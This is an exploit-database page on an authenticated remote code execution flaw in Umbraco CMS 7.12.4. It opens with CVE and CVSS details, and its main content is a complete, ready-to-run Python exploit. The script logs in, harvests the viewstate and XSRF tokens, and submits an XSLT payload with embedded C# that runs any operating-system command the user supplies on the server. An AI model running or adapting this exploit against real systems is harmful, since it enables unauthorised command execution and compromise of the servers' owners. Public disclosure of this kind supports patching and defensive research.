Exploitalert - Database of Exploits

Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution

CVE	Category	Price	Severity
CVE-2020-28720	CWE-269	$2500	Critical

Author	Risk	Exploitation Type	Date
Paul Taylor	Critical	Remote	2020-08-02

CPE
cpe:cpe:/a:umbraco:umbraco_cms:7.12.4

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2020080012

Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution

# Exploit Title: Umbraco CMS - Authenticated Remote Code Execution # Date: 2020-03-28 # Exploit Author: Alexandre ZANNI (noraj) # Based on: https://www.exploit-db.com/exploits/46153 # Vendor Homepage: http://www.umbraco.com/ # Software Link: https://our.umbraco.com/download/releases # Version: 7.12.4 # Category: Webapps # Tested on: Windows IIS # Example: python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c ipconfig import requests import re import argparse from bs4 import BeautifulSoup parser = argparse.ArgumentParser(prog='exploit.py', description='Umbraco authenticated RCE', formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80)) parser.add_argument('-u', '--user', metavar='USER', type=str, required=True, dest='user', help='username / email') parser.add_argument('-p', '--password', metavar='PASS', type=str, required=True, dest='password', help='password') parser.add_argument('-i', '--host', metavar='URL', type=str, required=True, dest='url', help='root URL') parser.add_argument('-c', '--command', metavar='CMD', type=str, required=True, dest='command', help='command') parser.add_argument('-a', '--arguments', metavar='ARGS', type=str, required=False, dest='arguments', help='arguments', default='') args = parser.parse_args() # Payload payload = """\ <?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "%s"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "%s"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\ """ % (args.arguments, args.command) login = args.user password = args.password host = args.url # Process Login url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" loginfo = { "username": login, "password": password} s = requests.session() r2 = s.post(url_login,json=loginfo) # Go to vulnerable web page url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx" r3 = s.get(url_xslt) soup = BeautifulSoup(r3.text, 'html.parser') VIEWSTATE = soup.find(id="__VIEWSTATE")['value'] VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'] UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'] headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN} data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE, "__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR, "ctl00$body$xsltSelection": payload, "ctl00$body$contentPicker$ContentIdValue": "", "ctl00$body$visualizeDo": "Visualize+XSLT" } # Launch the attack r4 = s.post(url_xslt, data=data, headers=headers) # Filter output soup = BeautifulSoup(r4.text, 'html.parser') CMDOUTPUT = soup.find(id="result").getText() print(CMDOUTPUT)

Impressum